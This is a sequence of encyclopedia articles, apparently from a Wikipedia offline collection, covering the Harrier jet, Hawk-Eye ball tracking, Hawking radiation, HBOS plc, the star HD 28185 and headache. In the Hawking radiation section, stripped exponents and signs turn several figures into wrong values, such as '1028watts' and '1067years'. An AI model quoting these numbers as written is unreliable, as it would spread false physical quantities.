            	Rate of climb: 2 min 23 sec to 40,000 ft or initial climb (VTOL weight) 50,000ft/min (15,240 m/min)


            	Thrust/weight: 1.10

          


          Armament


          
            	2x 30 mm ADEN cannon pods under the fuselage


            	A variety of bombs, reconnaissance pods, AS-37 Martel or AIM-9D guided missiles on five hardpoints.

          


          


          Popular culture


          The Harrier's unique characteristics have led to it being featured a number of films and video games.


          
            Retrieved from " http://en.wikipedia.org/wiki/Hawker_Siddeley_Harrier"
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        Hawk-Eye


        
          

          


          Hawk-Eye is a computer system used in cricket, tennis and other sports to track the path of the ball. It was developed by engineers at Roke Manor Research Limited in 2001; the patent being held by Paul Hawkins and David Sherry. Later, the technology was spun off into a separate company, Hawk-Eye Innovations Ltd., as a joint venture with television production company Sunset + Vine.


          


          Applications in sport


          


          Cricket


          The technology was first used by Channel 4 during a Test match between England and Pakistan at Lord's Cricket Ground, on 21 April 2001. Since then it has been an indispensable tool for commentators. However, the system is not used by the umpires to adjudicate on LBW decisions in Test cricket or One Day International cricket. It is used primarily by the majority of television networks to track the trajectory of balls in flight.


          Its major use in cricket is in analysing leg before wicket decisions, where the likely path of the ball can be projected forward, through the batsman's legs, to see if it would have hit the wicket. Currently this information is only visible to television viewers, although it may be adopted in the future by the third umpire, who currently sees only conventional slow motion replays. Consultation of the third umpire on leg before wicket decisions is not currently sanctioned in international cricket.


          Due to its realtime coverage of bowling speed, the systems are also used to show patterns of bowling in a bowler's behaviour. At the end of an over, all six deliveries are often shown simultaneously to show a bowler's variations, such as slower deliveries, bouncers and leg-cutters. A complete record of a bowler can also be shown over the course of a match.


          Batsmen also benefit from the analysis of Hawk-Eye, as a record can be brought up of the deliveries batsmen scored from. These are often shown as a 2-D silhouetted figure of a batter and colour-coded dots of the balls faced by the batsman.


          Hawk-Eye has a couple of other useful features. Because of the six cameras tracking the ball, Hawk-Eye picks up the exact spot where the ball pitches. Hawk-Eye also measures the speed of the ball from the bowler's hand, so it will tell you exactly how much time the batsman has to react to a ball.


          The man who invented Hawk-Eye, Dr Paul Hawkins, is a former Buckinghamshire player.


          


          Tennis


          In the autumn of 2005 Hawk-Eye was tested by the International Tennis Federation (ITF) in New York City and was passed for professional use. Hawk-Eye reported that the New York tests involved 80 shots being measured by the ITF's high speed camera, a device similar to MacCAM. These tests have lately been questioned as a single high speed camera would have up to an inch long 'blind spot' and thus cannot measure to mm-level accuracy. Video based systems are also sensitive to heat and other environmental conditions and a single-day test could not reveal such issues. The Hawk-Eye system has since proved to produce erroneous results at several tournaments, such as in Dubai or at the Australian Open.. During an early test of the system during an exhibition tennis tournament in Australia (seen on local TV), there was an instance when the tennis ball was shown as "Out", but the accompanying word was "In". This was explained to be an error in the way the tennis ball was shown on the graphical display as a circle, rather than as an ellipse. This was immediately corrected.


          Hawk-Eye has been used in television coverage of several major tennis tournaments, including Wimbledon, the Stella Artois at Queens, the Australian Open, the Davis Cup and the Tennis Masters Cup. The US Open Tennis Championship announced they would make official use of the technology for the 2006 US where each player receives two challenges per set. It is also used as part of a larger tennis simulation implemented by IBM called PointTracker. Along with Cyclops and Auto-Ref, it is one of several automated line-calling mechanisms used.


          In March 2006, at the Nasdaq-100 Open, Hawk-Eye was used officially for the first time at a tennis tour event.


          In 2006 the US Open Tennis Championship became the first grand-slam event to use the system during play, allowing players to challenge line calls.


          The 2006 Hopman Cup in Perth, Western Australia, was the first elite-level tennis tournament where players were allowed to challenge point-ending line calls, which were then reviewed by the referees using Hawk-Eye technology. It used 10 cameras feeding information about ball position to the computers.


          The 2007 Australian Open was the first grand-slam tournament of 2007 to implement Hawk Eye in challenges to line calls, where each tennis player on Rod Laver Arena was allowed 2 incorrect challenges per set and one additional challenge should a tiebreaker be played. In the event of an advantage final set, challenges are reset to 2 for each player every 12 games i.e. 6 all, 12 all. Controversies followed the event as at times Hawk-Eye produced erroneous output.


          The 2007 Wimbledon Championships also implemented the Hawk-Eye system as an officiating aid on Centre Court and Court 1, and each tennis player was allowed 3 incorrect challenges per set. If the set produced a tie-breaker, each player was given an additional challenge. Additionally, in the event of a final set (third set in women's or mixed matches, fifth set in men's matches), where there is no tie-break, each player's number of challenges was reset to three if the game score reached 6-6, and again at 12-12. Gabashvili, in his 1st round match against Federer, made the first ever Hawk-Eye challenge on Centre Court. Additionally, during the finals of Federer against Nadal, Nadal challenged a shot which was called out. Hawk-Eye "proved" it otherwise, with the ball just clipping the line. The reversal agitated Federer enough for him to unsuccessfully request that the umpire turn off the Hawk-Eye technology for the remainder of the match.


          The Hawk-Eye technology was used in the 2007 Dubai Tennis Championships. Defending champion Rafael Nadal accused the system of incorrectly calling an out ball following his exit. The umpire had called a ball out; when Mikhail Youzhny challenged the decision, Hawk-Eye said otherwise. Youzhny said afterwards that he himself thought the mark may have been wide but then offered that this kind of technology error could easily have been made by linesmen and umpires. Nadal could only shrug, saying that had this system been on clay, the mark would have clearly shown Hawk Eye to be wrong.


          The Hawk Eye system was developed as a replay system, originally for TV Broadcast coverage. As such, it cannot call ins and outs live. Currently only the Auto-Ref system can produce live in/out calls as it was developed for instant line calling. Both systems can produce replays.


          In 2004 several poor calls occurred at the US Open. In Serena Williams' controversial quarterfinal loss to Jennifer Capriati, several poor calls were contested by Williams. TV replays demonstrated that there were actually several crucial calls that were obviously erroneous. Though the calls themselves were not reversed, the chair umpire Mariana Alves was dismissed from the tournament. These errors prompted talks about line calling assistance especially as the Auto-Ref system was being tested by the U.S. Open at that time and was shown to be very accurate.


          The Hawk-eye Innovations website states that the system has an average error of 3.6mm (it does not indicate what the maximum error is). The standard size of a tennis ball is reportedly 65 to 68 mm. This means that there is a 5% error relative to the diameter of the ball. This could throw into doubt the accuracy of such calls as the one mentioned in the Nadal-Federer 2007 Wimbledon final. For the sake of comparison, approximately 5% of the diameter is the fluff on the ball.


          


          Snooker


          At the World Snooker Championship 2007, the BBC used Hawk-Eye in its television coverage to show player views, particularly in the incidents of potential snookers. It has also been used to demonstrate intended shots by players when the actual shot has gone awry.


          


          Further developments


          On June 14, 2006, it was announced that the Wisden group had bought Hawk-Eye. The acquisition is intended to strengthen Wisden's presence in cricket, and allow it to enter tennis and other international sports. Hawk-Eye is already working on implementing a system for basketball.


          According to Hawk-Eye's website, the system produces much more data than that shown on television. This data could easily be shown on the Internet.


          The Football Association has declared the system as "ready for inspection by FIFA", after tests suggested that the results of a goal-line incident could be relayed to the match referee within half-a-second ( IFAB, the governing body for the Laws of the game, insists on goals being signalled immediately e.g. within five seconds).


          


          Use in computer games


          


          The use of the Hawk-Eye brand and simulation has been licensed to Codemasters for use in the video game Brian Lara International Cricket 2005 to make the game appear more like television coverage, and subsequently in Brian Lara International Cricket 2007
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        Hawking radiation


        
          

          In physics, Hawking radiation (also known as Bekenstein-Hawking radiation) is a thermal radiation with a black body spectrum predicted to be emitted by black holes due to quantum effects. It is named after the physicist Stephen Hawking who provided the theoretical argument for its existence in 1974, and sometimes also after the physicist Jacob Bekenstein who predicted that black holes should have a finite, non-zero temperature and entropy. Hawking's work followed his visit to Moscow in 1973 where Soviet scientists Yakov Zeldovich and Alexander Starobinsky showed him that according to the quantum mechanical uncertainty principle rotating black holes should create and emit particles.


          Because Hawking radiation allows black holes to lose mass, black holes which lose more matter than they gain through other means are expected to evaporate, shrink, and ultimately vanish. Smaller micro black holes (MBHs) are currently predicted by theory to be larger net emitters of radiation than larger black holes, and to shrink and evaporate faster.


          Hawking's analysis became the first convincing insight into a possible theory of quantum gravity. However, the existence of Hawking radiation has never been observed, nor are there currently viable experimental tests which would allow it to be observed. Hence there is still some theoretical dispute over whether Hawking radiation actually exists. In June 2008 NASA launched the GLAST satellite, which will search for the terminal gamma-ray flashes expected from evaporating primordial black holes. In speculative large extra dimension theories, CERN's Large Hadron Collider may be able to create micro black holes and observe their evaporation.


          Ground based observatories, such as the Pierre Auger(a research partner of The University of Utah Telescope array), might also be capable of detecting evaporating MBHs that would form in the upper atmosphere by the impact of high-speed protons, also known as cosmic rays. Recent results from the Pierre Auger now suggest that the highest energy protons (with energies of 1020 eV or higher) originate from nearby active galactic nuclei (AGN) where they are accelerated and travel to earth for hundreds of millions of years at nearly the speed of light, and upon impact might create MBHs, allowing for observation of their evaporation.


          


          Overview


          Black holes are sites of immense gravitational attraction into which surrounding matter is drawn by gravitational forces. Classically, the gravitation is so powerful that nothing, not even radiation can escape from the black hole. It is yet unknown how gravity can be incorporated into quantum mechanics, but nevertheless far from the black hole the gravitational effects can be weak enough that calculations can be reliably performed in the framework of quantum field theory in curved spacetime. Hawking showed that quantum effects allow black holes to emit exact black body radiation, which is the average thermal radiation emitted by an idealized thermal source known as a black body. The radiation is as if it is emitted by a black body with a temperature that is inversely proportional to the black hole's mass.


          Physical insight on the process may be gained by imagining that particle- antiparticle radiation is emitted from just beyond the event horizon. This radiation does not come directly from the black hole itself, but rather is a result of virtual particles being "boosted" by the black hole's gravitation into becoming real particles.


          A slightly more precise, but still much simplified view of the process is that vacuum fluctuations cause a particle-antiparticle pair to appear close to the event horizon of a black hole. One of the pair falls into the black hole whilst the other escapes. In order to preserve total energy, the particle that fell into the black hole must have had a negative energy (with respect to an observer far away from the black hole). By this process the black hole loses mass, and to an outside observer it would appear that the black hole has just emitted a particle. In reality, the process is a quantum tunneling effect, whereby particle-antiparticle pairs will form from the vacuum, and one will tunnel outside the event horizon.


          An important difference between the black hole radiation as computed by Hawking and a thermal radiation emitted from a black body is that the latter is statistical in nature, and only its average satisfies what is known as Planck's law of black body radiation, while the former satisfies this law exactly. Thus thermal radiation contains information about the body that emitted it, while Hawking radiation seems to contain no such information, and depends only on the mass, angular momentum and charge of the black hole. This leads to the black hole information paradox.


          However, according to the conjectured gauge-gravity duality (also known as the AdS/CFT correspondence), black holes in certain cases (and perhaps in general) are equivalent to solutions of quantum field theory at a non-zero temperature. This means that no information loss is expected in black holes (since no such loss exists in the quantum field theory), and the radiation emitted by a black hole is probably a usual thermal radiation. If this is correct, then Hawking's original computation should be corrected, though it is not known how (see below).


          


          An example


          A black hole of one solar mass has a temperature of only 60 nanokelvin; in fact, such a black hole would absorb far more cosmic microwave background radiation than it emits. A black hole of 4.51022kg (about the mass of the Moon) would be in equilibrium at 2.7 kelvins, absorbing as much radiation as it emits. Yet smaller primordial black holes would emit more than they absorb, and thereby lose mass.


          


          Trans-Planckian problem


          The trans-Planckian problem is the observation that Hawking's original calculation requires talking about quantum particles in which the wavelength becomes shorter than the Planck length near the black hole horizon. It is due to the peculiar behaviour near a gravitational horizon where time stops as measured from far away. A particle emitted from a black hole with a finite frequency, if traced back to the horizon, must have had an infinite frequency there and a trans-Planckian wavelength.


          The Unruh effect and the Hawking effect both talk about field modes in the superficially stationary space-time that change frequency relative to other coordinates which are regular across the horizon. This is necessarily so, since to stay outside a horizon requires acceleration which constantly Doppler shifts the modes.


          An outgoing Hawking radiated photon, if the mode is traced back in time, has a frequency which diverges from that which it has at great distance, as it gets closer to the horizon, which requires the wavelength of the photon to "scrunch up" infinitely at the horizon of the black hole. In a maximally extended external Schwarzschild solution, that photon's frequency only stays regular if the mode is extended back into the past region where no observer can go. That region doesn't seem to be observable and is physically suspect, so Hawking used a black hole solution without a past region which forms at a finite time in the past. In that case, the source of all the outgoing photons can be identified  it is a microscopic point right at the moment that the black hole first formed.


          The quantum fluctuations at that tiny point, in Hawking's original calculation, contain all the outgoing radiation. The modes that eventually contain the outgoing radiation at long times are redshifted by such a huge amount by their long sojourn next to the event horizon, that they start off as modes with a wavelength much shorter than the Planck length. Since the laws of physics at such short distances are unknown, some find Hawking's original calculation unconvincing.


          The trans-Planckian problem is nowadays mostly considered a mathematical artifact of horizon calculations. The same effect occurs for regular matter falling onto a white hole solution. Matter which falls on the white hole accumulates on it, but has no future region into which it can go. Tracing the future of this matter, it is compressed onto the final singular endpoint of the white hole evolution, into a trans-Planckian region. The reason for these types of divergences is that modes which end at the horizon from the point of view of outside coordinates are singular in frequency there. The only way to determine what happens classically is to extend in some other coordinates that cross the horizon.


          There exist alternative physical pictures which give the Hawking radiation in which the trans-Planckian problem is addressed. The key point is that similar trans-Planckian problems occur when the modes occupied with Unruh radiation are traced back in time. In the Unruh effect, the magnitude of the temperature can be calculated from ordinary Minkowski field theory, and is not controversial.


          


          Emission process


          Hawking radiation is required by the Unruh effect and the equivalence principle applied to black hole horizons. Close to the event horizon of a black hole, a local observer must accelerate to keep from falling in. An accelerating observer sees a thermal bath of particles which pop out of the local acceleration horizon, turn around and free-fall back in. The condition of local thermal equilibrium implies that the consistent extension of this local thermal bath has a finite temperature at infinity, which implies that some of these particles emitted by the horizon are not reabsorbed and become outgoing Hawking radiation.


          A Schwarzschild black hole has a metric


          
            	[image:  ds^2 = -\left(1-{2M\over r}\right)dt^2 + {1\over 1-{2M\over r}} dr^2 + r^2 d\Omega^2. \,]

          


          The black hole is the background spacetime for a quantum field theory.


          The field theory is defined by a local path integral, so if the boundary conditions at the horizon are determined, the state of the field outside will be specified. To find the appropriate boundary conditions, consider a stationary observer just outside the horizon at position r = 2M + u2 / 2M. The local metric to lowest order is:


          
            	[image:  ds^2 = - {u^2\over 4M^2} dt^2 + 4 du^2 + dX_\perp^2 = - \rho^2 d\tau^2 + d\rho^2 + dX_\perp^2, \,]

          


          which is Rindler in terms of  = t / 4M and  = 2u The metric describes a frame which is accelerating to keep from falling into the black hole. The local acceleration diverges as [image: u\rightarrow 0].


          The horizon is not a special boundary and objects can fall in. So the local observer should feel accelerated in ordinary Minkowski space by the principle of equivalence. The near-horizon observer must see the field excited at a local inverse temperature


          
            	[image:  \beta(u)=2\pi \rho = (4\pi) u = 4\pi \sqrt{2M(r-2M)} \,],

          


          the Unruh effect.


          The gravitational redshift is by the square root of the time component of the metric. So for the field theory state to consistently extend, there must be a thermal background everywhere with the local temperature redshift-matched to the near horizon temperature:


          
            	[image:  \beta(r') = 4\pi \sqrt{2M(r-2M)} \sqrt{1-{2M\over r'} \over 1-{2M\over r}} \,]

          


          The inverse temperature redshifted to r' at infinity is


          
            	[image:  \beta(\infty) = (4\pi)\sqrt{2Mr} \,]

          


          and r is the near-horizon position, near 2M, so this is really:


          
            	[image:  \beta = 8\pi M \,]

          


          So a field theory defined on a black hole background is in a thermal state whose temperature at infinity is:


          
            	[image:  T_H = {1\over 8\pi M} \,]

          


          Which can be expressed more cleanly in terms of the surface gravity of the black hole, the parameter that determines the acceleration of a near-horizon observer.


          
            	[image: T_H = \frac{\kappa}{2 \pi}\,],

          


          in natural units with G, c, [image: \hbar] and k equal to 1, and where  is the surface gravity of the horizon. So a black hole can only be in equilibrium with a gas of radiation at a finite temperature. Since radiation incident on the black hole is absorbed, the black hole must emit an equal amount to maintain detailed balance. The black hole acts as a perfect blackbody radiating at this temperature.


          In engineering units, the radiation from a Schwarzschild black hole is black-body radiation with temperature:


          
            	[image: T={\hbar\,c^3\over8\pi G M k}\,]

          


          where [image: \hbar] is the reduced Planck constant, c is the speed of light, k is the Boltzmann constant, G is the gravitational constant, and M is the mass of the black hole.


          From the black hole temperature, it is straightforward to calculate the black hole entropy. The change in entropy when a quantity of heat dQ is added is:


          
            	[image:  dS = {dQ\over T} = 8\pi M dQ \,]

          


          the heat energy that enters serves increases the total mass:


          
            	[image:  dS = 8\pi M dM = d(4\pi M^2) \,]

          


          The radius of a black hole is twice its mass in natural units, so the entropy of a black hole is proportional to its surface area:


          
            	[image:  S= \pi R^2 = {A\over 4} \,]

          


          Assuming that a small black hole has zero entropy, the integration constant is zero. Forming a black hole is the most efficient way to compress mass into a region, and this entropy is also a bound on the information content of any sphere in space time. The form of the result strongly suggests that the physical description of a gravitating theory can be somehow encoded onto a bounding surface.


          


          Black hole evaporation


          When particles escape, the black hole loses a small amount of its energy and therefore of its mass (mass and energy are related by Einstein's equation E = mc).


          The power emitted by a black hole in the form of Hawking radiation can easily be estimated for the simplest case of a nonrotating, non-charged Schwarzschild black hole of mass M. Combining the formulae for the Schwarzschild radius of the black hole, the Stefan-Boltzmann law of black-body radiation, the above formula for the temperature of the radiation, and the formula for the surface area of a sphere (the black hole's event horizon) we get:


          
            	[image: P={\hbar\,c^6\over15360\,\pi\,G^2M^2}]

          


          where P is the energy outflow, [image: \hbar] is the reduced Planck constant, c is the speed of light, and G is the gravitational constant. It is worth mentioning that the above formula has not yet been derived in the framework of semiclassical gravity.


          The power in the Hawking radiation from a solar mass black hole turns out to be a minuscule 1028watts. It is indeed an extremely good approximation to call such an object 'black'.


          Under the assumption of an otherwise empty universe, so that no matter or cosmic microwave background radiation falls into the black hole, it is possible to calculate how long it would take for the black hole to evaporate. The black hole's mass is now a function M(t) of time t. The time that the black hole takes to evaporate is:


          
            	[image: t_{\operatorname{ev}}={5120\,\pi\,G^2M_0^{\,3}\over\hbar\,c^4}]

          


          For a black hole of one solar mass (about 2  1030kg), we get an evaporation time of 1067yearsmuch longer than the current age of the universe. But for a black hole of 1011kg, the evaporation time is about 3billion years. This is why some astronomers are searching for signs of exploding primordial black holes.


          However, since the universe contains the cosmic microwave background radiation, in order for the black hole to evaporate it must have a temperature greater than that of the present-day black-body radiation of the universe of 2.7 K = 2.3104 eV. This implies that M must be less than 0.8% of the mass of the Earth.


          In common units,


          
            	[image:  P = 3.563\,45 \times 10^{32} \left[\frac{\mathrm{kg}}{M}\right]^2 \mathrm{W}]

          


          
            	[image:  t_\mathrm{ev} = 8.407\,16 \times 10^{-17} \left[\frac{M_0}{\mathrm{kg}}\right]^3 \mathrm{s} \ \ \approx\ 2.66 \times 10^{-24} \left[\frac{M_0}{\mathrm{kg}}\right]^3 \mathrm{yr} ]

          


          
            	[image:  M_0 = 2.282\,71 \times 10^5 \left[\frac{t_\mathrm{ev}}{\mathrm{s}}\right]^{1/3} \mathrm{kg} \ \ \approx\ 7.2 \times 10^7 \left[\frac{t_\mathrm{ev}}{\mathrm{yr}}\right]^{1/3} \mathrm{kg} ]

          


          So, for instance, a 1 second-lived black hole has a mass of 2.28  105 kg, equivalent to an energy of 2.05  1022 J that could be released by 5  106 megatons of TNT. The initial power is 6.84  1021 W.


          Black hole evaporation has several significant consequences:


          
            	Black hole evaporation produces a more consistent view of black hole thermodynamics, by showing how black holes interact thermally with the rest of the universe.


            	Unlike most objects, a black hole's temperature increases as it radiates away mass. The rate of temperature increase is exponential, with the most likely endpoint being the dissolution of the black hole in a violent burst of gamma rays. A complete description of this dissolution requires a model of quantum gravity however, as it occurs when the black hole approaches Planck mass and Planck radius.


            	The simplest models of black hole evaporation lead to the black hole information paradox. The information content of a black hole appears to be lost when it evaporates, as under these models the Hawking radiation is random (containing no information). A number of solutions to this problem have been proposed, including suggestions that Hawking radiation is perturbed to contain the missing information, that the Hawking evaporation leaves some form of remnant particle containing the missing information, and that information is allowed to be lost under these conditions.

          


          


          Hawking radiation and large extra dimensions


          Formulas from the previous section are only applicable if laws of gravity are approximately valid all the way down to the Planck scale. In particular, for black holes with masses below Planck mass (~105 g), they result in unphysical lifetimes below Planck time (~1043 s). This is normally seen as an indication that Planck mass is the lower limit on the mass of a black hole.


          In the model with large extra dimensions, values of Planck constants can be radically different, and formulas for Hawking radiation have to be modified as well. In particular, the lifetime of a micro black hole (with radius below the scale of extra dimensions) is given by


          
            	[image: \tau \sim {1 \over M_*} \Bigl( {M_{BH} \over M_*} \Bigr) ^{(n+3)/(n+1)} ]

          


          where M * is the low energy scale (which could be as low as a few TeV), and n is the number of large extra dimensions. This formula is now consistent with black holes as light as a few TeV, with lifetimes on the order of "new Planck time" ~1026 s.


          


          Deviation from Hawking radiation in loop quantum gravity


          A detailed study of the quantum geometry of a black hole horizon has been made using Loop quantum gravity. Loop-quantization reproduces the result for black hole entropy originally discovered by Bekenstein and Hawking. Further, it led to the computation of quantum gravity corrections to the entropy and radiation of black holes.


          Based on the fluctuations of the horizon area, a quantum black hole exhibits deviations from the Hawking spectrum that would be observable were x-rays from Hawking radiation of evaporating primordial black holes to be observed. The deviation is such that the Hawking radiation is expected to be centered at a set of discrete and unblended energies.


          


          Experimental observation of the Hawking radiation


          Under experimentally achievable conditions for gravitational systems this effect is too small to be observed. Recent work shows that if one takes an accelerated observer to be an electron circularly orbiting in a constant external magnetic field, then the experimentally verified Sokolov-Ternov effect coincides with the Unruh effect, which is in close connection with the Hawking radiation.
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              HBOS PLC
            

            
              	[image: ]
            


            
              	Type

              	Public (LSE: HBOS)
            


            
              	Founded

              	2001
            


            
              	Headquarters

              	Edinburgh, Scotland, UK
            


            
              	Key people

              	Dennis Stevenson, Chairman

              Andy Hornby, CEO
            


            
              	Industry

              	Finance and Insurance
            


            
              	Products

              	Financial Services
            


            
              	Revenue

              	21,291 million (2007)
            


            
              	Operating income

              	5,149 million (2007)
            


            
              	Profit

              	4,109 million (2007)
            


            
              	Employees

              	72,000
            


            
              	Website

              	www.hbosplc.com
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              Group headquarters on The Mound, Edinburgh.
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              HBOS Office at Trinity Road, Halifax.
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              "Blue Leany" Office in Aylesbury, Buckinghamshire.
            

          


          HBOS plc (LSE: HBOS) is a banking and insurance group in the United Kingdom, the holding company for Bank of Scotland plc, which operates the Bank of Scotland and the Halifax bank; HBOS Australia, owner of BankWest; and HBOS Insurance & Investment Group Limited, the group's insurance division. Although officially HBOS is not an abbreviation with any intrinsic meaning, it is widely recognised as an initialism for Halifax Bank of Scotland. The corporate headquarters of the group are in Edinburgh, Scotland; the old head office of the Bank of Scotland. Operational headquarters are based in Halifax, West Yorkshire, England; the old head office of Halifax.


          HBOS was formed by the merger of Halifax plc and the Governor and Company of the Bank of Scotland, and the formation of HBOS was heralded as creating a fifth force in British banking as it created a company of comparable size and stature to the established Big Four UK retail banks. It is also the UKs largest mortgage lender. HBOS is a public limited company listed on the London Stock Exchange. A reorganisation of the group initiated by the HBOS Group Reorganisation Act 2006 saw the transfer of Halifax plc to the Governor and Company of the Bank of Scotland, which was now a registered public limited company, Bank of Scotland plc.


          On 18 September 2008, Lloyds TSB plc officially announced a confirmed agreement to take over HBOS plc in a deal worth 12.2 billion (US$21.85-billion). Lloyds stated that it would continue to use ' The Mound' as the headquarters for its Scottish operations and would continue the issue of Scottish bank notes.


          


          History


          


          Formation


          The Bank of Scotland is the UK's oldest commercial bank, by an Act of the Parliament of Scotland in 1695. Halifax was founded in 1853 as the Halifax Permanent Benefit Building and Investment Society, which demutualised in 1997 to become a public limited company (plc).


          The merger of the Bank of Scotland and Halifax occurred in 2001 during a wave of consolidation in the UK banking market which began in the late 1990s. The Bank of Scotland played a key role in the process, firstly by launching a hostile takeover bid for NatWest, although the bid failed to a rival offer from the Royal Bank of Scotland. It later investigated a merger with Abbey National, when Halifax approached with an offer to merge.


          The merger created the fifth largest bank in the UK by market capitalisation.


          


          HBOS Group Reorganisation Act 2006


          In 2006, HBOS secured the passing of the HBOS Group Reorganisation Act 2006, a private Act of Parliament that would allow the group to operate in a more simplified structure. The Act allowed HBOS to make the Governor and Company of the Bank of Scotland a public limited company, Bank of Scotland plc, which became the principal banking subsidiary of HBOS. Halifax plc transferred its undertakings to Bank of Scotland plc, and although the brand name was retained, Halifax then began to operate under the latter company's UK banking licence.


          The provisions in the Act were implemented on 17 September 2007.


          [bookmark: 2008_Short_Selling_and_Credit_Crunch]


          2008 Short Selling and Credit Crunch


          In March 2008, HBOS shares fell 17 percent amid false rumours that it had asked the Bank of England for emergency funding. The Financial Services Authority conducted an investigation as to whether short selling had any links with the rumours. It concluded that there was no deliberate attempt to drive the share price down.


          On 17 September 2008, very shortly after the demise of Lehman Brothers, HBOS's share price suffered wild fluctuations between 88p and 220p per share, despite assurances as to its liquidity and exposure to the wider credit crunch.


          However, later that day, the BBC reported that HBOS was in advanced takeover talks with Lloyds TSB to create a "superbank" with 38 million customers. This was later confirmed by HBOS. The BBC suggested that shareholders would be offered up to 3.00 per share, causing the share price to rise, but later retracted that comment. Later that day, the price was set at 0.83 Lloyds shares for each HBOS share, equivalent to 232 p per share, which is less than the 275p price at which HBOS raised funds earlier in 2008.


          In order to avoid another Northern Rock-style collapse, the UK government announced that should the takeover go ahead, they would allow it to bypass competition law. This law states that a company cannot hold more than 25% share of the mortgage market. Lloyds TSB will now hold a 28% share of the mortgage market.


          Alex Salmond, Scotland's First Minister, previously an economist, said of the takeover:


          
            "I am very angry that we can have a situation where a bank can be forced into a merger by basically a bunch of short-selling spivs and speculators in the financial markets."

          


          Vince Cable, Liberal Democrats spokesman labelled the hedge funds which profit from short-selling as "masters of the universe".


          


          Takeover by Lloyds TSB


          Although the 18 September 2008 announcement by the HBOS board confirmed agreement to be taken over by Lloyds TSB, two main steps are required for this to take place:


          
            	Three quarters of HBOS shareholder votes in agreement with the board's actions;


            	UK government dispensation with respect to competition law.

          


          Most of the shareholding votes at HBOS are in the hands of institutional investors and it is anticipated that takeover will proceed to a successful conclusion.


          Prime Minister Gordon Brown personally brokered the deal with Lloyds TSB. The Lloyds TSB board have stated that troubled banks Merrill Lynch and Morgan Stanley were amongst the advisers recommending the takeover.


          


          Operations


          HBOS conducts all its operations through three main businesses:


          
            	Bank of Scotland plc


            	HBOS Australia


            	HBOS Insurance & Investment Group Limited

          


          


          Bank of Scotland plc


          Bank of Scotland plc is the banking division of the HBOS group, and operates the following brands:


          


          United Kingdom


          
            	Bank of Scotland


            	Bank of Scotland Private Banking


            	Bank of Scotland Treasury Services


            	Birmingham Midshires


            	Halifax


            	Halifax Financial Services (Holdings) Ltd


            	Halifax Investment Fund Managers Ltd


            	Halifax Share Dealing Limited


            	Halifax Unit Trust Management Ltd


            	Intelligent Finance


            	Sainsbury's Bank (50%)


            	The Mortgage Business (TMB)


            	Blair, Oliver & Scott (Debt recovery)


            	St James's Place Bank

          


          


          International


          
            	Banco Halifax Hispania


            	Bank of Scotland Corporate


            	Bank of Scotland International


            	Bank of Scotland Investment Services


            	Bank of Scotland (Ireland), trading as Halifax


            	Bank of Scotland (Netherlands)

          


          


          HBOS Australia


          HBOS Australia was formed in 2004 to consolidate the groups holdings in Australia. It consists of the following subsidiaries:


          
            	Bank of Western Australia Limited


            	Capital Finance Australia Limited


            	St Andrew's Australia Pty Ltd


            	BOS International (Australia) Ltd

          


          


          HBOS Insurance & Investment Group Limited


          HBOS Insurance & Investment Group Limited manages the groups insurance and investment brands in the UK and Europe. It consists of the following:


          
            	esure


            	First Alternative


            	St James's Place Capital (60%)


            	Halifax General Insurance Services Ltd


            	Halifax Insurance Ireland Ltd


            	Clerical Medical


            	AA


            	Sainsbury's


            	Sheilas' Wheels
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              HD 28185
            

            
              	Observation data

              Epoch J2000.0
            


            
              	Constellation

              ( pronunciation)

              	Eridanus
            


            
              	Right ascension

              	04h26m26.3205s
            


            
              	Declination

              	-103302.955
            


            
              	Apparent magnitude (V)

              	+7.81
            


            
              	Characteristics
            


            
              	Spectral type

              	G5V
            


            
              	U-B colour index

              	?
            


            
              	B-V colour index

              	0.750
            


            
              	Variable type

              	none
            


            
              	Astrometry
            


            
              	Radial velocity (Rv)

              	49.6 km/s
            


            
              	Proper motion ()

              	RA: 80.85 mas/ yr

              Dec.: -60.29 mas/ yr
            


            
              	Parallax ()

              	25.28 1.08 mas
            


            
              	Distance

              	129 ly (39.6 pc)
            


            
              	Absolute magnitude (MV)

              	+4.81
            


            
              	Details
            


            
              	Mass

              	0.99  0.07 M☉
            


            
              	Radius

              	1.04 R☉
            


            
              	Luminosity

              	1.02 L☉
            


            
              	Temperature

              	5705 K
            


            
              	Metallicity

              	173%
            


            
              	Rotation

              	30 days
            


            
              	Age

              	7.5  109 years
            


            
              	Other designations
            


            
              	
                
                  BD10919, SAO149631, HIP20723, GSC05317-00733
                

              
            


            
              	Database references
            


            
              	SIMBAD

              	data
            

          


          HD 28185 is a yellow dwarf star similar to our Sun located about 129 light-years away in the constellation Eridanus. The designation HD 28185 refers to its entry in the Henry Draper catalogue. As of 2006 the star is known to possess one long- period extrasolar planet.


          


          Distance and visibility


          According to measurements from the Hipparcos astrometric satellite, HD 28185 has a parallax of 25.28 milliarcseconds, which corresponds to a distance of 39.6 parsecs (129 light-years). Since the star is located further than 25 parsecs from Earth, it is not listed in the Gliese Catalogue of Nearby Stars. With an apparent magnitude of 7.81, the star is not visible with the naked eye, though it can be seen using binoculars.


          


          Stellar characteristics


          HD 28185 is similar to our Sun in terms of mass, radius and luminosity. The star is on the main sequence and is generating energy by fusing hydrogen in its core. The spectral type of G5V implies HD 28185 is cooler than the Sun. Like the majority of extrasolar planet host stars, HD 28185 is metal-rich relative to the Sun, containing around 173% of the solar abundance of iron. The star rotates slower than the Sun, with a period of around 30 days, compared to 25.4 days for the Sun.


          Based on the star's chromospheric activity, HD 28185 is estimated to have an age of around 2,900 million years. On the other hand, evolutionary models give an age of around 7,500 million years and a mass 0.99 times that of our Sun.


          


          Planetary system


          In 2001 an extrasolar planet designated HD 28185 b was discovered in orbit around the star with a period of 1.04 years. Unlike many long-period extrasolar planets, it has a low orbital eccentricity. The planet experiences similar insolation to Earth, which has led to speculations about the possibilities for habitable moons. In addition, numerical simulations suggest that low-mass planets located in the gas giant's Trojan points would be stable for long periods.


          The star also shows evidence of a long-term radial velocity trend, which may indicate the presence of an additional outer companion.


          
            
              The HD 28185 system
            

            
              	Companion

              (in order from star)

              	Mass

              ( MJ)

              	Semimajor axis

              ( AU)

              	Orbital period

              (days)

              	Eccentricity
            


            
              	b

              	>5.72  0.93

              	1.031  0.060

              	383.0  2.0

              	0.070  0.040
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              Symptom/ Sign: Headache

              Classifications and external resources
            

            
              	
                
                  [image: ]
                

              
            


            
              	ICD- 10

              	R 51.
            


            
              	ICD- 9

              	784.0
            

          


          A headache ( cephalalgia in medical terminology) is a condition of pain in the head; sometimes neck or upper back pain may also be interpreted as a headache. It ranks amongst the most common local pain complaints and may be frequent for many people.


